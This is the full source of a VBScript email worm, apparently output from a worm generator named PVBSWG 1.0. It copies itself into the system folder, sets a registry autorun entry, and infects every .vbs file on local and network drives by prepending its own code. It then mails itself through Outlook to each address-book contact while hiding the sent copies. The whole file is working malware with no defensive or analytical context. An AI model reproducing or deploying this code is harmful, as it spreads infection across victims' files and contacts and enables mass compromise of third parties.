'2
'Name : 2
'Author : 2
On Error Resume Next
Set foijpl = CreateObject("Scripting.FileSystemObject")
Set becabo = CreateObject("WScript.Shell")
Set win = foijpl.GetSpecialFolder(0)
Set sys = foijpl.GetSpecialFolder(1)

copyname = sys&"\name_of_worm.vbs"
foijpl.GetFile(WScript.ScriptFullName).Copy(copyname)
becabo.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\value_worm",copyname

Set fl = foijpl.OpenTextFile(WScript.ScriptFullName, 1)
virus = fl.ReadAll
fl.Close
infectfile()
Sub infectfile()
On Error Resume Next
Set foijpl = CreateObject("Scripting.FileSystemObject")
Set eyuy = foijpl.Drives
For Each d In eyuy
If d.DriveType = 2 Or d.DriveType = 3 Then
list(d.path&"\")
End If
Next
End Sub

Sub list(doss)
On Error Resume Next
Set foijpl = CreateObject("Scripting.FileSystemObject")
Set ymtn = foijpl.GetFolder(doss)
Set bchxc = ymtn.SubFolders
For Each f1 In bchxc
infect(f1.Path)
list(f1.Path)
Next
End Sub

Sub infect(doss)
On Error Resume Next
Set foijpl = CreateObject("Scripting.FileSystemObject")
Set ymtn = foijpl.GetFolder(doss)
Set fc = ymtn.Files
For Each f1 In fc
ext = foijpl.GetExtensionName(f1.Path)
ext = lCase(ext)
If (ext = "vbs") Then
    Set cot = foijpl.OpenTextFile(f1.Path, 1, False)
    If cot.ReadLine <> "'2" Then
    cot.Close
    Set cot = foijpl.OpenTextFile(f1.Path, 1, False)
    vbsorg = cot.ReadAll()
    cot.Close
    Set inf = foijpl.OpenTextFile(f1.Path, 2, True)
    inf.WriteLine virus
    inf.WriteLine ""
    inf.WriteLine (vbsorg)
    inf.Close
    End If
End If
Next
End Sub

Set sdxp = CreateObject("Outlook.Application")
Set apsu = sdxp.GetNameSpace("MAPI")
For each c In apsu.AddressLists
If c.AddressEntries.Count <> 0 Then
For d = 1 To c.AddressEntries.Count
Set qdcvd = sdxp.CreateItem(0)
qdcvd.To = c.AddressEntries(d).Address
qdcvd.Subject = "Subject..."
qdcvd.Body = "Body of the worm..."
qdcvd.Attachments.Add(copyname)
qdcvd.DeleteAfterSubmit = True
If qdcvd.To <> "" Then
qdcvd.Send
End If
Next
End If
Next

'This VBS virus/worm was generated by PVBSWG 1.0